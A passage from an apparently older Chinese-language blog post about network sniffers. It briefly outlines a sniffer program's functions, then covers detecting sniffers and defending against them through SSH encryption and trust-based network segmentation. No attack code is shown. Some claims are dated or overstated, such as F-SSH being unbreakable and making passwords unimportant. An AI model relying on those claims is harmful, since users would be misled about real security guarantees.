再看一下函數read_tcp,它的作用是讀取TCP數據包,傳給filter處理。Filter函數是對上述讀取的數據包進行處理。

接下來的程序是將數據輸出到文件中去。

函數clearup是在程序退出等事件時,在文件中作個記錄,並關閉文件。否則,你剛才做的記錄都沒了。

第三節 怎樣在一個網絡上發現一個sniffer

  簡單的一個回答是你發現不了。因為他們根本就沒有留下任何痕跡。

  只有一個辦法是看看計算機上當前正在運行的所有程序。但這通常並不可靠,但你可以控制哪個程序可以在你的計算機上運行。

  在Unix系統下使用下面的命令:

    ps -aux

  或:

    ps -augx

這個命令列出當前的所有進程,啟動這些進程的用戶,它們佔用CPU的時間,佔用內存的多少等等。

在Windows系統下,按下Ctrl+Alt+Del,看一下任務列表。不過,編程技巧高的Sniffer即使正在運行,也不會出現在這裡的。

  另一個方法就是在系統中搜索,查找可懷疑的文件。但可能入侵者用的是他們自己寫的程序,所以都給發現sniffer造成相當的困難。

  還有許多工具,能用來看看你的系統會不會在promiscuous模式。從而發現是否有一個sniffer正在運行。

怎樣防止被sniffer

  要防止sniffer並不困難,有許多可以選用的方法。但關鍵是都要有開銷。所以問題在於你是否捨得開銷。

  你最關心的可能是傳輸一些比較敏感的數據,如用戶ID或口令等等。有些數據是沒有經過處理的,一旦被sniffer,就能獲得這些信息。解決這些問題的辦法是加密。

加密

  我們介紹以下SSH,它又叫Secure

Shell。SSH是一個在應用程序中提供安全通信的協議。它是建立在客戶機/服務器模型上的。SSH服務器的分配的端口是22。連接是通過使用一種來自RSA的算法建立的。在授權完成後,接下來的通信數據是用IDEA技術來加密的。這通常是較強的

,適合與任何非秘密和非經典的通訊。

  SSH後來發展成為F-SSH,提供了高層次的,軍方級別的對通信過程的加密。它為通過TCP/IP網絡通信提供了通用的最強的加密。

  如果某個站點使用F-SSH,用戶名和口令成為不是很重要的一點。目前,還沒有人突破過這種加密方法。即使是sniffer,收集到的信息將不再有價值。當然最關鍵的是怎樣使用它。

  SSH和F-SSH都有商業或自由軟件版本存在。NT are available.

還有其他的方法嗎?

  另一個比較容易接受的是使用安全拓撲結構。這聽上去很簡單,但實現是很花錢的。

  玩過一種智力遊戲嗎,它通常有一系列數字組成。遊戲的目的是要安排好數字,用最少的步驟,把它們按遞減順序排好。當處理網絡拓撲時,就和玩這個遊戲一樣。

  下面是一些規則:

   一個網絡段必須有足夠的理由才能信任另一網絡段。網絡段應該考慮你的數據之間的信任關係上來設計,而不是硬件需要。

  這就建立了,讓我們來看看。第一點:一個網絡段是僅由能互相信任的計算機組成的。通常它們在同一個房間裡,或在同一個辦公室裡。比如你的財務信息,應該固定在建築的一部分。

  注意每台機器是通過硬連接線接到Hub的。Hub再接到交換機上。由於網絡分段了,數據包只能在這個網段上別sniffer。其餘的網段將不可能被sniffer。

  所有的問題都歸結到信任上面。計算機為了和其他計算機進行通信,它就必須信任那台計算機。作為系統管理員,你的工作是決定一個方法,使得計算機之間的信任關係很小。這樣,就建立了一種框架,你告訴你什麼時候放置了一個sniffer,它放在那裡了,是誰放的等等。

如果你的局域網要和INTERNET相連,僅僅使用防火牆是不夠的。入侵者已經能從一個防火牆後面掃瞄,並探測正在運行的服務。你要關心的是一旦入侵者進入系統,他能得到些什麼。你必須考慮一條這樣的路徑,即信任關係有多長。舉個例子,假設你的WEB服務器對某一計算機A是信任的。那麼有多少計算機是A信任的呢。又有多少計算機是受這些計算機信任的呢?用一句話,就是確定最小信任關係的那台計算機。在信任關係中,這台計算機之前的任何一台計算機都可能對你的計算機進行攻擊,並成功。你的任務就是保證一旦出現的sniffer,它只對最小範圍有效。

Sniffer往往是攻擊者在侵入系統後使用的,用來收集有用的信息。因此,防止系統被突破是關鍵。系統安全管理員要定期的對所管理的網絡進行安全測試,防止安全隱患。同時要控制擁有相當權限的用戶的數量。請記住,許多攻擊往往來自網絡內部。

 

點閱: 38

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料